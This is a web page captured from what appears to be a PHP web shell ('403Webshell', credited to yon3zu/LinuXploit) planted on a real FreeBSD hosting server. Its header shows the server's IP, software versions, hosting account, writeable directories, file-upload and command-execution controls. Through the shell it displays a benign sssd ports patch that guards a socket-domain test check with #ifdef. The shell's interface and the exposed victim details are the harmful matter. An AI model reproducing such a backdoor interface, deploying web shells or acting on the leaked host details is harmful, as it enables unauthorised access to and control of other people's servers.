403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/security/sssd/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/security/sssd/files/patch-src__tests__cwrap__test_responder_common.c
diff --git src/tests/cwrap/test_responder_common.c src/tests/cwrap/test_responder_common.c
index 11cc3abd8..191310143 100644
--- src/tests/cwrap/test_responder_common.c
+++ src/tests/cwrap/test_responder_common.c
@@ -136,11 +136,13 @@ void check_sock_properties(struct create_pipe_ctx *ctx, mode_t mode)
     assert_true(S_ISSOCK(sbuf.st_mode));
     assert_true((sbuf.st_mode & ~S_IFMT) == mode);
 
+#ifdef SO_DOMAIN
     /* Check it's a UNIX socket */
     optlen = sizeof(optval);
     ret = getsockopt(ctx->fd, SOL_SOCKET, SO_DOMAIN, &optval, &optlen);
     assert_int_equal(ret, 0);
     assert_int_equal(optval, AF_UNIX);
+#endif
 
     optlen = sizeof(optval);
     ret = getsockopt(ctx->fd, SOL_SOCKET, SO_TYPE, &optval, &optlen);

Youez - 2016 - github.com/yon3zu
LinuXploit